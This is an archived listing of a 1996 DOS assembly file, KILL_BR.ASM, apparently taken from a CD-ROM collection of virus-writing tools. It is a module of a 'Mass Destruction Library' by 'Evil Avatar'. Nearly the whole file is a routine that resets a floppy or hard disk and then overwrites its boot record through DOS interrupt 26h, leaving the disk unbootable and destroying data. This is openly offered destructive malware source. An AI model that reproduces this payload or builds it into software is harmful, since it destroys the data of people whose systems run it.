home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / VXAVTOOL.ZIP / EXEC-VIR.ZIP / MDL.ZIP / KILL_BR.ASM < prev    next >
Encoding:
Assembly Source File  |  1996-02-27  |  907 b   |  30 lines

  1. ;KILL_BR - module for Mass Destruction Library
  2. ;written by Evil Avatar
  3. .model tiny
  4. .code
  5. public kill_br
  6.  
  7. kill_br:
  8.         push cx
  9.         push dx
  10.         push ax               ;Save regs that will be changed
  11.         cmp ax, 2             ;If drive is not a hard drive, then
  12.         jb kill_br1           ;jump to kill_br1
  13.         add ax, 78h           ;else, set up for hard drive 
  14. kill_br1:                     
  15.         xchg ax, dx           ;drive number must be in dl
  16.         xor ax, ax            
  17.         int 13h               ;reset the disk
  18.         jc kill_br2           ;if error, quit
  19.         pop ax                ;restore disk number
  20.         mov cx, 1
  21.         xor dx, dx
  22.         int 26h               ;overwrite boot record
  23.         push ax
  24. kill_br2:        
  25.         pop ax
  26.         pop dx
  27.         pop cx                ;restore regs and return
  28.         ret
  29. end kill_br
  30.